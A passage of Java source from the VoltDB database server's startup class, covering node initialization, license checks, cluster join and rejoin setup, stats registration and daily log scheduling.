if (!config.m_isEnterprise) {
return nonEmptyPaths.build();
}
PathsType paths = deployment.getPaths();
String voltDbRoot = getVoltDBRootPath(paths.getVoltdbroot());
String path;
if ((path = managedPathEmptyCheck(voltDbRoot, getSnapshotPath(paths.getSnapshots()))) != null)
nonEmptyPaths.add(path);
if ((path = managedPathEmptyCheck(voltDbRoot, getExportOverflowPath(paths.getExportoverflow()))) != null)
nonEmptyPaths.add(path);
if ((path = managedPathEmptyCheck(voltDbRoot, getDROverflowPath(paths.getDroverflow()))) != null)
nonEmptyPaths.add(path);
if ((path = managedPathEmptyCheck(voltDbRoot, getCommandLogPath(paths.getCommandlog()))) != null)
nonEmptyPaths.add(path);
if ((path = managedPathEmptyCheck(voltDbRoot, getCommandLogSnapshotPath(paths.getCommandlogsnapshot()))) != null)
nonEmptyPaths.add(path);
return nonEmptyPaths.build();
}
private final List<String> pathsWithRecoverableArtifacts(DeploymentType deployment) {
ImmutableList.Builder<String> nonEmptyPaths = ImmutableList.builder();
if (!MiscUtils.isPro()) {
return nonEmptyPaths.build();
}
PathsType paths = deployment.getPaths();
String voltDbRoot = getVoltDBRootPath(paths.getVoltdbroot());
String path;
if ((path = managedPathEmptyCheck(voltDbRoot, getSnapshotPath(paths.getSnapshots()))) != null)
nonEmptyPaths.add(path);
if ((path = managedPathEmptyCheck(voltDbRoot, getCommandLogPath(paths.getCommandlog()))) != null)
nonEmptyPaths.add(path);
if ((path = managedPathEmptyCheck(voltDbRoot, getCommandLogSnapshotPath(paths.getCommandlogsnapshot()))) != null)
nonEmptyPaths.add(path);
return nonEmptyPaths.build();
}
/**
* Initialize all the global components, then initialize all the m_sites.
* @param config configuration that gets passed in from commandline.
*/
@Override
public void initialize(Configuration config) {
ShutdownHooks.enableServerStopLogging();
synchronized(m_startAndStopLock) {
m_isRunningWithOldVerb = config.m_startAction.isLegacy();
// check that this is a 64 bit VM
if (System.getProperty("java.vm.name").contains("64") == false) {
hostLog.fatal("You are running on an unsupported (probably 32 bit) JVM. Exiting.");
System.exit(-1);
}
m_isRunningWithOldVerb = config.m_startAction.isLegacy();
readBuildInfo(config.m_isEnterprise ? "Enterprise Edition" : "Community Edition");
// Replay command line args that we can see
StringBuilder sb = new StringBuilder(2048).append("Command line arguments: ");
sb.append(System.getProperty("sun.java.command", "[not available]"));
hostLog.info(sb.toString());
List<String> iargs = ManagementFactory.getRuntimeMXBean().getInputArguments();
sb.delete(0, sb.length()).append("Command line JVM arguments:");
for (String iarg : iargs)
sb.append(" ").append(iarg);
if (iargs.size() > 0) hostLog.info(sb.toString());
else hostLog.info("No JVM command line args known.");
sb.delete(0, sb.length()).append("Command line JVM classpath: ");
sb.append(System.getProperty("java.class.path", "[not available]"));
hostLog.info(sb.toString());
// config UUID is part of the status tracker that is slated to be an
// Information source for an http admun endpoint
m_statusTracker = new NodeStateTracker();
consoleLog.l7dlog( Level.INFO, LogKeys.host_VoltDB_StartupString.name(), null);
if (config.m_startAction == StartAction.INITIALIZE) {
if (config.m_forceVoltdbCreate) {
deleteInitializationMarkers(config);
}
}
// If there's no deployment provide a default and put it under voltdbroot.
if (config.m_pathToDeployment == null) {
try {
config.m_pathToDeployment = setupDefaultDeployment(hostLog, config.m_voltdbRoot);
config.m_deploymentDefault = true;
} catch (IOException e) {
VoltDB.crashLocalVoltDB("Failed to write default deployment.", false, null);
return;
}
}
ReadDeploymentResults readDepl = readPrimedDeployment(config);
if (config.m_startAction == StartAction.INITIALIZE) {
if (config.m_forceVoltdbCreate && m_paths.clean()) {
String msg = "Archived previous snapshot directory to " + m_paths.getSnapshoth() + ".1";
consoleLog.info(msg);
hostLog.info(msg);
}
stageDeploymemtFileForInitialize(config, readDepl.deployment);
stageInitializedMarker(config);
hostLog.info("Initialized VoltDB root directory " + config.m_voltdbRoot.getPath());
consoleLog.info("Initialized VoltDB root directory " + config.m_voltdbRoot.getPath());
VoltDB.exit(0);
}
if (config.m_startAction.isLegacy()) {
File rootFH = CatalogUtil.getVoltDbRoot(readDepl.deployment.getPaths());
File inzFH = new VoltFile(rootFH, VoltDB.INITIALIZED_MARKER);
if (inzFH.exists()) {
VoltDB.crashLocalVoltDB("Cannot use legacy start action "
+ config.m_startAction + " on voltdbroot "
+ rootFH + " that was initialized with the init command");
return;
}
//Case where you give primed deployment with -d look in ../../ for initialized marker.
//Also check if parents are config and voltdbroot
File cfile = (new File(config.m_pathToDeployment)).getParentFile();
if (cfile != null) {
rootFH = cfile.getParentFile();
if ("config".equals(cfile.getName()) && VoltDB.DBROOT.equals(rootFH.getName())) {
inzFH = new VoltFile(rootFH, VoltDB.INITIALIZED_MARKER);
if (inzFH.exists()) {
VoltDB.crashLocalVoltDB("Can not use legacy start action "
+ config.m_startAction + " on voltdbroot "
+ rootFH + " that was initialized with the init command");
return;
}
}
}
}
List<String> failed = m_paths.ensureDirectoriesExist();
if (!failed.isEmpty()) {
String msg = "Unable to access or create the following directories:\n - " +
Joiner.on("\n - ").join(failed);
VoltDB.crashLocalVoltDB(msg);
return;
}
if (config.m_hostCount == VoltDB.UNDEFINED) {
config.m_hostCount = readDepl.deployment.getCluster().getHostcount();
}
// set the mode first thing
m_mode = OperationMode.INITIALIZING;
m_config = config;
m_startMode = null;
// set a bunch of things to null/empty/new for tests
// which reusue the process
m_safeMpTxnId = Long.MAX_VALUE;
m_lastSeenMpTxnId = Long.MIN_VALUE;
m_clientInterface = null;
m_adminListener = null;
m_commandLog = new DummyCommandLog();
m_messenger = null;
m_opsRegistrar = new OpsRegistrar();
m_asyncCompilerAgent = null;
m_snapshotCompletionMonitor = null;
m_catalogContext = null;
m_partitionCountStats = null;
m_ioStats = null;
m_memoryStats = null;
m_commandLogStats = null;
m_statsManager = null;
m_restoreAgent = null;
m_recoveryStartTime = System.currentTimeMillis();
m_hostIdWithStartupCatalog = 0;
m_pathToStartupCatalog = m_config.m_pathToCatalog;
m_replicationActive = new AtomicBoolean(false);
m_configLogger = null;
ActivePlanRepository.clear();
updateMaxThreadsLimit();
// set up site structure
final int computationThreads = Math.max(2, CoreUtils.availableProcessors() / 4);
m_computationService =
CoreUtils.getListeningExecutorService(
"Computation service thread",
computationThreads, m_config.m_computationCoreBindings);
// Set std-out/err to use the UTF-8 encoding and fail if UTF-8 isn't supported
try {
System.setOut(new PrintStream(System.out, true, "UTF-8"));
System.setErr(new PrintStream(System.err, true, "UTF-8"));
} catch (UnsupportedEncodingException e) {
hostLog.fatal("Support for the UTF-8 encoding is required for VoltDB. This means you are likely running an unsupported JVM. Exiting.");
VoltDB.exit(-1);
}
m_snapshotCompletionMonitor = new SnapshotCompletionMonitor();
// use CLI overrides for testing hotfix version compatibility
if (m_config.m_versionStringOverrideForTest != null) {
m_versionString = m_config.m_versionStringOverrideForTest;
}
if (m_config.m_versionCompatibilityRegexOverrideForTest != null) {
m_hotfixableRegexPattern = m_config.m_versionCompatibilityRegexOverrideForTest;
}
if (m_config.m_buildStringOverrideForTest != null) {
m_buildString = m_config.m_buildStringOverrideForTest;
}
// Prime cluster settings from configuration parameters
// evaluate properties with the following sources in terms of priority
// 1) properties from command line options
// 2) properties from the cluster.properties files
// 3) properties from the deployment file
// this reads the file config/cluster.properties
ClusterSettings fromPropertyFile = ClusterSettings.create();
// handle case we recover clusters that were elastically expanded
if (m_config.m_startAction.doesRecover()) {
m_config.m_hostCount = fromPropertyFile.hostcount();
}
Map<String, String> fromCommandLine = m_config.asClusterSettingsMap();
Map<String, String> fromDeploymentFile = CatalogUtil.
asClusterSettingsMap(readDepl.deployment);
ClusterSettings clusterSettings = ClusterSettings.create(
fromCommandLine, fromPropertyFile.asMap(), fromDeploymentFile);
// persist the merged settings
clusterSettings.store();
m_clusterSettings.set(clusterSettings, 1);
MeshProber.Determination determination = buildClusterMesh(readDepl);
if (m_config.m_startAction == StartAction.PROBE) {
String action = "Starting a new database cluster";
if (determination.startAction.doesRejoin()) {
action = "Rejoining a running cluster";
} else if (determination.startAction == StartAction.JOIN) {
action = "Adding this node to a running cluster";
} else if (determination.startAction.doesRecover()) {
action = "Restarting the database cluster from the command logs";
}
hostLog.info(action);
consoleLog.info(action);
}
m_config.m_startAction = determination.startAction;
m_config.m_hostCount = determination.hostCount;
// determine if this is a rejoining node
// (used for license check and later the actual rejoin)
boolean isRejoin = m_config.m_startAction.doesRejoin();
m_rejoining = isRejoin;
m_rejoinDataPending = m_config.m_startAction.doesJoin();
m_joining = m_config.m_startAction == StartAction.JOIN;
if (isRejoin || m_joining) {
m_statusTracker.setNodeState(NodeState.REJOINING);
}
//Register dummy agents immediately
m_opsRegistrar.registerMailboxes(m_messenger);
//Start validating the build string in the background
final Future<?> buildStringValidation = validateBuildString(getBuildString(), m_messenger.getZK());
// race to create start action nodes and then verify theirs compatibility.
m_messenger.getZK().create(VoltZK.start_action, null, Ids.OPEN_ACL_UNSAFE, CreateMode.PERSISTENT, new ZKUtil.StringCallback(), null);
VoltZK.createStartActionNode(m_messenger.getZK(), m_messenger.getHostId(), m_config.m_startAction);
validateStartAction();
Map<Integer, String> hostGroups = null;
final int numberOfNodes = readDeploymentAndCreateStarterCatalogContext(config);
if (config.m_isEnterprise && m_config.m_startAction.doesRequireEmptyDirectories()
&& !config.m_forceVoltdbCreate) {
managedPathsEmptyCheck(config);
}
if (!isRejoin && !m_joining) {
hostGroups = m_messenger.waitForGroupJoin(numberOfNodes);
}
if (m_messenger.isPaused() || m_config.m_isPaused) {
setStartMode(OperationMode.PAUSED);
}
// Create the thread pool here. It's needed by buildClusterMesh()
m_periodicWorkThread =
CoreUtils.getScheduledThreadPoolExecutor("Periodic Work", 1, CoreUtils.SMALL_STACK_SIZE);
m_periodicPriorityWorkThread =
CoreUtils.getScheduledThreadPoolExecutor("Periodic Priority Work", 1, CoreUtils.SMALL_STACK_SIZE);
Class<?> snapshotIOAgentClass = MiscUtils.loadProClass("org.voltdb.SnapshotIOAgentImpl", "Snapshot", true);
if (snapshotIOAgentClass != null) {
try {
m_snapshotIOAgent = (SnapshotIOAgent) snapshotIOAgentClass.getConstructor(HostMessenger.class, long.class)
.newInstance(m_messenger, m_messenger.getHSIdForLocalSite(HostMessenger.SNAPSHOT_IO_AGENT_ID));
m_messenger.createMailbox(m_snapshotIOAgent.getHSId(), m_snapshotIOAgent);
} catch (Exception e) {
VoltDB.crashLocalVoltDB("Failed to instantiate snapshot IO agent", true, e);
}
}
if (m_config.m_pathToLicense == null) {
m_licenseApi = MiscUtils.licenseApiFactory();
if (m_licenseApi == null) {
hostLog.fatal("Unable to open license file in default directories");
}
}
else {
m_licenseApi = MiscUtils.licenseApiFactory(m_config.m_pathToLicense);
if (m_licenseApi == null) {
hostLog.fatal("Unable to open license file in provided path: " + m_config.m_pathToLicense);
}
}
if (m_licenseApi == null) {
hostLog.fatal("Please contact [email protected] to request a license.");
VoltDB.crashLocalVoltDB("Failed to initialize license verifier. " +
"See previous log message for details.", false, null);
}
m_asyncCompilerAgent = new AsyncCompilerAgent(m_licenseApi);
try {
SimpleDateFormat sdf = new SimpleDateFormat("EEE MMM d, yyyy");
JSONObject jo = new JSONObject();
jo.put("trial",m_licenseApi.isTrial());
jo.put("hostcount",m_licenseApi.maxHostcount());
jo.put("commandlogging", m_licenseApi.isCommandLoggingAllowed());
jo.put("wanreplication", m_licenseApi.isDrReplicationAllowed());
jo.put("expiration", sdf.format(m_licenseApi.expires().getTime()));
m_licenseInformation = jo.toString();
} catch (JSONException ex) {
//Ignore
}
// Create the GlobalServiceElector. Do this here so we can register the MPI with it
// when we construct it below
m_globalServiceElector = new GlobalServiceElector(m_messenger.getZK(), m_messenger.getHostId());
// Start the GlobalServiceElector. Not sure where this will actually belong.
try {
m_globalServiceElector.start();
} catch (Exception e) {
VoltDB.crashLocalVoltDB("Unable to start GlobalServiceElector", true, e);
}
// Always create a mailbox for elastic join data transfer
if (m_config.m_isEnterprise) {
long elasticHSId = m_messenger.getHSIdForLocalSite(HostMessenger.REBALANCE_SITE_ID);
m_messenger.createMailbox(elasticHSId, new SiteMailbox(m_messenger, elasticHSId));
}
if (m_joining) {
Class<?> elasticJoinCoordClass =
MiscUtils.loadProClass("org.voltdb.join.ElasticJoinNodeCoordinator", "Elastic", false);
try {
Constructor<?> constructor = elasticJoinCoordClass.getConstructor(HostMessenger.class, String.class);
m_joinCoordinator = (JoinCoordinator) constructor.newInstance(m_messenger, VoltDB.instance().getVoltDBRootPath());
m_messenger.registerMailbox(m_joinCoordinator);
m_joinCoordinator.initialize(m_catalogContext.getDeployment().getCluster().getKfactor());
} catch (Exception e) {
VoltDB.crashLocalVoltDB("Failed to instantiate join coordinator", true, e);
}
}
/*
* Construct all the mailboxes for things that need to be globally addressable so they can be published
* in one atomic shot.
*
* The starting state for partition assignments are statically derived from the host id generated
* by host messenger and the k-factor/host count/sites per host. This starting state
* is published to ZK as the topology metadata node.
*
* On join and rejoin the node has to inspect the topology meta node to find out what is missing
* and then update the topology listing itself as the replica for those partitions.
* Then it does a compare and set of the topology.
*
* Ning: topology may not reflect the true partitions in the cluster during join. So if another node
* is trying to rejoin, it should rely on the cartographer's view to pick the partitions to replace.
*/
JSONObject topo = getTopology(config.m_startAction, hostGroups, m_joinCoordinator);
m_partitionsToSitesAtStartupForExportInit = new ArrayList<>();
try {
// IV2 mailbox stuff
ClusterConfig clusterConfig = new ClusterConfig(topo);
m_configuredReplicationFactor = clusterConfig.getReplicationFactor();
m_cartographer = new Cartographer(m_messenger, m_configuredReplicationFactor,
m_catalogContext.cluster.getNetworkpartition());
List<Integer> partitions = null;
if (isRejoin) {
m_configuredNumberOfPartitions = m_cartographer.getPartitionCount();
partitions = m_cartographer.getIv2PartitionsToReplace(m_configuredReplicationFactor,
clusterConfig.getSitesPerHost());
if (partitions.size() == 0) {
VoltDB.crashLocalVoltDB("The VoltDB cluster already has enough nodes to satisfy " +
"the requested k-safety factor of " +
m_configuredReplicationFactor + ".\n" +
"No more nodes can join.", false, null);
}
}
else {
m_configuredNumberOfPartitions = clusterConfig.getPartitionCount();
partitions = ClusterConfig.partitionsForHost(topo, m_messenger.getHostId());
}
for (int ii = 0; ii < partitions.size(); ii++) {
Integer partition = partitions.get(ii);
m_iv2InitiatorStartingTxnIds.put( partition, TxnEgo.makeZero(partition).getTxnId());
}
m_iv2Initiators = createIv2Initiators(
partitions,
m_config.m_startAction,
m_partitionsToSitesAtStartupForExportInit);
m_iv2InitiatorStartingTxnIds.put(
MpInitiator.MP_INIT_PID,
TxnEgo.makeZero(MpInitiator.MP_INIT_PID).getTxnId());
// Pass the local HSIds to the MPI so it can farm out buddy sites
// to the RO MP site pool
List<Long> localHSIds = new ArrayList<>();
for (Initiator ii : m_iv2Initiators.values()) {
localHSIds.add(ii.getInitiatorHSId());
}
m_MPI = new MpInitiator(m_messenger, localHSIds, getStatsAgent());
m_iv2Initiators.put(MpInitiator.MP_INIT_PID, m_MPI);
// Make a list of HDIds to join
Map<Integer, Long> partsToHSIdsToRejoin = new HashMap<>();
for (Initiator init : m_iv2Initiators.values()) {
if (init.isRejoinable()) {
partsToHSIdsToRejoin.put(init.getPartitionId(), init.getInitiatorHSId());
}
}
OnDemandBinaryLogger.path = VoltDB.instance().getVoltDBRootPath();
if (isRejoin) {
SnapshotSaveAPI.recoveringSiteCount.set(partsToHSIdsToRejoin.size());
hostLog.info("Set recovering site count to " + partsToHSIdsToRejoin.size());
m_joinCoordinator = new Iv2RejoinCoordinator(m_messenger,
partsToHSIdsToRejoin.values(),
VoltDB.instance().getVoltDBRootPath(),
m_config.m_startAction == StartAction.LIVE_REJOIN);
m_joinCoordinator.initialize(m_catalogContext.getDeployment().getCluster().getKfactor());
m_messenger.registerMailbox(m_joinCoordinator);
if (m_config.m_startAction == StartAction.LIVE_REJOIN) {
hostLog.info("Using live rejoin.");
}
else {
hostLog.info("Using blocking rejoin.");
}
} else if (m_joining) {
m_joinCoordinator.setPartitionsToHSIds(partsToHSIdsToRejoin);
}
} catch (Exception e) {
VoltDB.crashLocalVoltDB(e.getMessage(), true, e);
}
// do the many init tasks in the Inits class
Inits inits = new Inits(m_statusTracker, this, 1);
inits.doInitializationWork();
// Need the catalog so that we know how many tables so we can guess at the necessary heap size
// This is done under Inits.doInitializationWork(), so need to wait until we get here.
// Current calculation needs pro/community knowledge, number of tables, and the sites/host,
// which is the number of initiators (minus the possibly idle MPI initiator)
checkHeapSanity(MiscUtils.isPro(), m_catalogContext.tables.size(),
(m_iv2Initiators.size() - 1), m_configuredReplicationFactor);
if (m_joining && m_config.m_replicationRole == ReplicationRole.REPLICA) {
VoltDB.crashLocalVoltDB("Elastic join is prohibited on a replica cluster.", false, null);
}
collectLocalNetworkMetadata();
/*
* Construct an adhoc planner for the initial catalog
*/
final CatalogSpecificPlanner csp = new CatalogSpecificPlanner(m_asyncCompilerAgent, m_catalogContext);
// Initialize stats
m_ioStats = new IOStats();
getStatsAgent().registerStatsSource(StatsSelector.IOSTATS,
0, m_ioStats);
m_memoryStats = new MemoryStats();
getStatsAgent().registerStatsSource(StatsSelector.MEMORY,
0, m_memoryStats);
getStatsAgent().registerStatsSource(StatsSelector.TOPO, 0, m_cartographer);
m_partitionCountStats = new PartitionCountStats(m_cartographer);
getStatsAgent().registerStatsSource(StatsSelector.PARTITIONCOUNT,
0, m_partitionCountStats);
m_initiatorStats = new InitiatorStats(m_myHostId);
m_liveClientsStats = new LiveClientsStats();
getStatsAgent().registerStatsSource(StatsSelector.LIVECLIENTS, 0, m_liveClientsStats);
m_latencyStats = new LatencyStats(m_myHostId);
getStatsAgent().registerStatsSource(StatsSelector.LATENCY, 0, m_latencyStats);
m_latencyHistogramStats = new LatencyHistogramStats(m_myHostId);
getStatsAgent().registerStatsSource(StatsSelector.LATENCY_HISTOGRAM,
0, m_latencyHistogramStats);
BalancePartitionsStatistics rebalanceStats = new BalancePartitionsStatistics();
getStatsAgent().registerStatsSource(StatsSelector.REBALANCE, 0, rebalanceStats);
KSafetyStats kSafetyStats = new KSafetyStats();
getStatsAgent().registerStatsSource(StatsSelector.KSAFETY, 0, kSafetyStats);
m_cpuStats = new CpuStats();
getStatsAgent().registerStatsSource(StatsSelector.CPU,
0, m_cpuStats);
// ENG-6321
m_commandLogStats = new CommandLogStats(m_commandLog);
getStatsAgent().registerStatsSource(StatsSelector.COMMANDLOG, 0, m_commandLogStats);
/*
* Initialize the command log on rejoin and join before configuring the IV2
* initiators. This will prevent them from receiving transactions
* which need logging before the internal file writers are
* initialized. Root cause of ENG-4136.
*
* If sync command log is on, not initializing the command log before the initiators
* are up would cause deadlock.
*/
if ((m_commandLog != null) && (m_commandLog.needsInitialization())) {
consoleLog.l7dlog(Level.INFO, LogKeys.host_VoltDB_StayTunedForLogging.name(), null);
}
else {
consoleLog.l7dlog(Level.INFO, LogKeys.host_VoltDB_StayTunedForNoLogging.name(), null);
}
if (m_commandLog != null && (isRejoin || m_joining)) {
//On rejoin the starting IDs are all 0 so technically it will load any snapshot
//but the newest snapshot will always be the truncation snapshot taken after rejoin
//completes at which point the node will mark itself as actually recovered.
//
// Use the partition count from the cluster config instead of the cartographer
// here. Since the initiators are not started yet, the cartographer still doesn't
// know about the new partitions at this point.
m_commandLog.initForRejoin(
m_catalogContext.cluster.getLogconfig().get("log").getLogsize(),
Long.MIN_VALUE,
m_configuredNumberOfPartitions,
true,
m_config.m_commandLogBinding, m_iv2InitiatorStartingTxnIds);
}
// Create the client interface
try {
InetAddress clientIntf = null;
InetAddress adminIntf = null;
if (!m_config.m_externalInterface.trim().equals("")) {
clientIntf = InetAddress.getByName(m_config.m_externalInterface);
//client and admin interfaces are same by default.
adminIntf = clientIntf;
}
//If user has specified on command line host:port override client and admin interfaces.
if (m_config.m_clientInterface != null && m_config.m_clientInterface.trim().length() > 0) {
clientIntf = InetAddress.getByName(m_config.m_clientInterface);
}
if (m_config.m_adminInterface != null && m_config.m_adminInterface.trim().length() > 0) {
adminIntf = InetAddress.getByName(m_config.m_adminInterface);
}
m_clientInterface = ClientInterface.create(m_messenger, m_catalogContext, m_config.m_replicationRole,
m_cartographer,
m_configuredNumberOfPartitions,
clientIntf,
config.m_port,
adminIntf,
config.m_adminPort,
m_config.m_timestampTestingSalt);
} catch (Exception e) {
VoltDB.crashLocalVoltDB(e.getMessage(), true, e);
}
// DR overflow directory
if (VoltDB.instance().getLicenseApi().isDrReplicationAllowed()) {
try {
Class<?> ndrgwClass = null;
ndrgwClass = Class.forName("org.voltdb.dr2.DRProducer");
Constructor<?> ndrgwConstructor = ndrgwClass.getConstructor(File.class, File.class, boolean.class, int.class, int.class);
m_producerDRGateway =
(ProducerDRGateway) ndrgwConstructor.newInstance(
new VoltFile(VoltDB.instance().getDROverflowPath()),
new VoltFile(VoltDB.instance().getSnapshotPath()),
m_replicationActive.get(),
m_configuredNumberOfPartitions,m_catalogContext.getClusterSettings().hostcount());
m_producerDRGateway.start();
m_producerDRGateway.blockOnDRStateConvergence();
} catch (Exception e) {
VoltDB.crashLocalVoltDB("Unable to load DR system", true, e);
}
}
else {
// set up empty stats for the DR Producer
getStatsAgent().registerStatsSource(StatsSelector.DRPRODUCERNODE, 0,
new DRProducerStatsBase.DRProducerNodeStatsBase());
getStatsAgent().registerStatsSource(StatsSelector.DRPRODUCERPARTITION, 0,
new DRProducerStatsBase.DRProducerPartitionStatsBase());
}
createDRConsumerIfNeeded();
/*
* Configure and start all the IV2 sites
*/
try {
final String serializedCatalog = m_catalogContext.catalog.serialize();
boolean createMpDRGateway = true;
for (Initiator iv2init : m_iv2Initiators.values()) {
iv2init.configure(
getBackendTargetType(),
m_catalogContext,
serializedCatalog,
m_catalogContext.getDeployment().getCluster().getKfactor(),
csp,
m_configuredNumberOfPartitions,
m_config.m_startAction,
getStatsAgent(),
m_memoryStats,
m_commandLog,
m_producerDRGateway,
iv2init != m_MPI && createMpDRGateway, // first SPI gets it
m_config.m_executionCoreBindings.poll());
if (iv2init != m_MPI) {
createMpDRGateway = false;
}
}
// LeaderAppointer startup blocks if the initiators are not initialized.
// So create the LeaderAppointer after the initiators.
boolean expectSyncSnapshot = m_config.m_replicationRole == ReplicationRole.REPLICA && config.m_startAction == StartAction.CREATE;
m_leaderAppointer = new LeaderAppointer(
m_messenger,
m_configuredNumberOfPartitions,
m_catalogContext.getDeployment().getCluster().getKfactor(),
m_catalogContext.cluster.getFaultsnapshots().get("CLUSTER_PARTITION"),
topo,
m_MPI,
kSafetyStats,
expectSyncSnapshot
);
m_globalServiceElector.registerService(m_leaderAppointer);
} catch (Exception e) {
Throwable toLog = e;
if (e instanceof ExecutionException) {
toLog = ((ExecutionException)e).getCause();
}
VoltDB.crashLocalVoltDB("Error configuring IV2 initiator.", true, toLog);
}
// Create the statistics manager and register it to JMX registry
m_statsManager = null;
try {
final Class<?> statsManagerClass =
MiscUtils.loadProClass("org.voltdb.management.JMXStatsManager", "JMX", true);
if (statsManagerClass != null && !DISABLE_JMX) {
m_statsManager = (StatsManager)statsManagerClass.newInstance();
m_statsManager.initialize();
}
} catch (Exception e) {
//JMXStatsManager will log and we continue.
}
try {
m_snapshotCompletionMonitor.init(m_messenger.getZK());
} catch (Exception e) {
hostLog.fatal("Error initializing snapshot completion monitor", e);
VoltDB.crashLocalVoltDB("Error initializing snapshot completion monitor", true, e);
}
/*
* Make sure the build string successfully validated
* before continuing to do operations
* that might return wrongs answers or lose data.
*/
try {
buildStringValidation.get();
} catch (Exception e) {
VoltDB.crashLocalVoltDB("Failed to validate cluster build string", false, e);
}
if (!isRejoin && !m_joining) {
try {
m_messenger.waitForAllHostsToBeReady(m_catalogContext.getClusterSettings().hostcount());
} catch (Exception e) {
hostLog.fatal("Failed to announce ready state.");
VoltDB.crashLocalVoltDB("Failed to announce ready state.", false, null);
}
}
if (!m_joining && (m_cartographer.getPartitionCount()) != m_configuredNumberOfPartitions) {
for (Map.Entry<Integer, ImmutableList<Long>> entry :
getSiteTrackerForSnapshot().m_partitionsToSitesImmutable.entrySet()) {
hostLog.info(entry.getKey() + " -- "
+ CoreUtils.hsIdCollectionToString(entry.getValue()));
}
VoltDB.crashGlobalVoltDB("Mismatch between configured number of partitions (" +
m_configuredNumberOfPartitions + ") and actual (" +
m_cartographer.getPartitionCount() + ")",
true, null);
}
schedulePeriodicWorks();
m_clientInterface.schedulePeriodicWorks();
// print out a bunch of useful system info
logDebuggingInfo(m_config.m_adminPort, m_config.m_httpPort, m_httpPortExtraLogMessage, m_jsonEnabled);
// warn the user on the console if k=0 or if no command logging
if (m_configuredReplicationFactor == 0) {
consoleLog.warn("This is not a highly available cluster. K-Safety is set to 0.");
}
boolean usingCommandLog = m_config.m_isEnterprise
&& (m_catalogContext.cluster.getLogconfig() != null)
&& (m_catalogContext.cluster.getLogconfig().get("log") != null)
&& m_catalogContext.cluster.getLogconfig().get("log").getEnabled();
if (!usingCommandLog) {
// figure out if using a snapshot schedule
boolean usingPeridoicSnapshots = false;
for (SnapshotSchedule ss : m_catalogContext.database.getSnapshotschedule()) {
if (ss.getEnabled()) {
usingPeridoicSnapshots = true;
}
}
// print the right warning depending on durability settings
if (usingPeridoicSnapshots) {
consoleLog.warn("Durability is limited to periodic snapshots. Command logging is off.");
}
else {
consoleLog.warn("Durability is turned off. Command logging is off.");
}
}
// warn if cluster is partitionable, but partition detection is off
if ((m_catalogContext.cluster.getNetworkpartition() == false) &&
(m_configuredReplicationFactor > 0)) {
hostLog.warn("Running a redundant (k-safe) cluster with network " +
"partition detection disabled is not recommended for production use.");
// we decided not to include the stronger language below for the 3.0 version (ENG-4215)
//hostLog.warn("With partition detection disabled, data may be lost or " +
// "corrupted by certain classes of network failures.");
}
assert (m_clientInterface != null);
m_clientInterface.initializeSnapshotDaemon(m_messenger, m_globalServiceElector);
// Start elastic join service
try {
if (m_config.m_isEnterprise && TheHashinator.getCurrentConfig().type == HashinatorType.ELASTIC) {
Class<?> elasticServiceClass = MiscUtils.loadProClass("org.voltdb.join.ElasticJoinCoordinator",
"Elastic join", false);
if (elasticServiceClass == null) {
VoltDB.crashLocalVoltDB("Missing the ElasticJoinCoordinator class file in the enterprise " +
"edition", false, null);
}
Constructor<?> constructor =
elasticServiceClass.getConstructor(HostMessenger.class,
ClientInterface.class,
Cartographer.class,
BalancePartitionsStatistics.class,
String.class,
int.class,
Supplier.class);
m_elasticJoinService =
(ElasticJoinService) constructor.newInstance(
m_messenger,
m_clientInterface,
m_cartographer,
rebalanceStats,
VoltDB.instance().getCommandLogSnapshotPath(),
m_catalogContext.getDeployment().getCluster().getKfactor(),
m_clusterSettings);
m_elasticJoinService.updateConfig(m_catalogContext);
}
} catch (Exception e) {
VoltDB.crashLocalVoltDB("Failed to instantiate elastic join service", false, e);
}
// set additional restore agent stuff
if (m_restoreAgent != null) {
m_restoreAgent.setInitiator(new Iv2TransactionCreator(m_clientInterface));
}
// Start the stats agent at the end, after everything has been constructed
m_opsRegistrar.setDummyMode(false);
m_configLogger = new Thread(new ConfigLogging());
m_configLogger.start();
scheduleDailyLoggingWorkInNextCheckTime();
}
}
@Override
public void hostsFailed(Set<Integer> failedHosts)
{
final ScheduledExecutorService es = getSES(true);
if (es != null && !es.isShutdown()) {
es.submit(new Runnable() {
@Override
public void run()
{
// First check to make sure that the cluster still is viable before
// before allowing the fault log to be updated by the notifications
// generated below.
Set<Integer> hostsOnRing = new HashSet<>();
if (!m_leaderAppointer.isClusterKSafe(hostsOnRing)) {
VoltDB.crashLocalVoltDB("Some partitions have no replicas. Cluster has become unviable.",
false, null);
}
// Cleanup the rejoin blocker in case the rejoining node failed.
// This has to run on a separate thread because the callback is
// invoked on the ZooKeeper server thread.
//
// I'm trying to be defensive to have this cleanup code run on
// all live nodes. One of them will succeed in cleaning up the
// rejoin ZK nodes. The others will just do nothing if the ZK
// nodes are already gone. If this node is still initializing
// when a rejoining node fails, there must be a live node that
// can clean things up. It's okay to skip this if the executor
// services are not set up yet.
for (int hostId : failedHosts) {
CoreZK.removeRejoinNodeIndicatorForHost(m_messenger.getZK(), hostId);
}
}
});
}
}
class DailyLogTask implements Runnable {
@Override
public void run() {
m_myHostId = m_messenger.getHostId();
hostLog.info(String.format("Host id of this node is: %d", m_myHostId));
hostLog.info("URL of deployment info: " + m_config.m_pathToDeployment);
hostLog.info("Cluster uptime: " + MiscUtils.formatUptime(getClusterUptime()));
logDebuggingInfo(m_config.m_adminPort, m_config.m_httpPort, m_httpPortExtraLogMessage, m_jsonEnabled);
// log system setting information
logSystemSettingFromCatalogContext();
scheduleDailyLoggingWorkInNextCheckTime();
}
}
/**
* Get the next check time for a private member in log4j library, which is not a reliable idea.
* It adds 30 seconds for the initial delay and uses a periodical thread to schedule the daily logging work
* with this delay.
* @return
*/
void scheduleDailyLoggingWorkInNextCheckTime() {
DailyRollingFileAppender dailyAppender = null;
Enumeration<?> appenders = Logger.getRootLogger().getAllAppenders();
while (appenders.hasMoreElements()) {
Appender appender = (Appender) appenders.nextElement();
if (appender instanceof DailyRollingFileAppender){
dailyAppender = (DailyRollingFileAppender) appender;
}
}
final DailyRollingFileAppender dailyRollingFileAppender = dailyAppender;
Field field = null;
if (dailyRollingFileAppender != null) {
try {
field = dailyRollingFileAppender.getClass().getDeclaredField("nextCheck");
field.setAccessible(true);
} catch (NoSuchFieldException e) {
hostLog.error("Failed to set daily system info logging: " + e.getMessage());
}
}
final Field nextCheckField = field;
long nextCheck = System.currentTimeMillis();
// the next part may throw exception, current time is the default value
if (dailyRollingFileAppender != null && nextCheckField != null) {
try {
nextCheck = nextCheckField.getLong(dailyRollingFileAppender);
scheduleWork(new DailyLogTask(),
nextCheck - System.currentTimeMillis() + 30 * 1000, 0, TimeUnit.MILLISECONDS);
} catch (Exception e) {
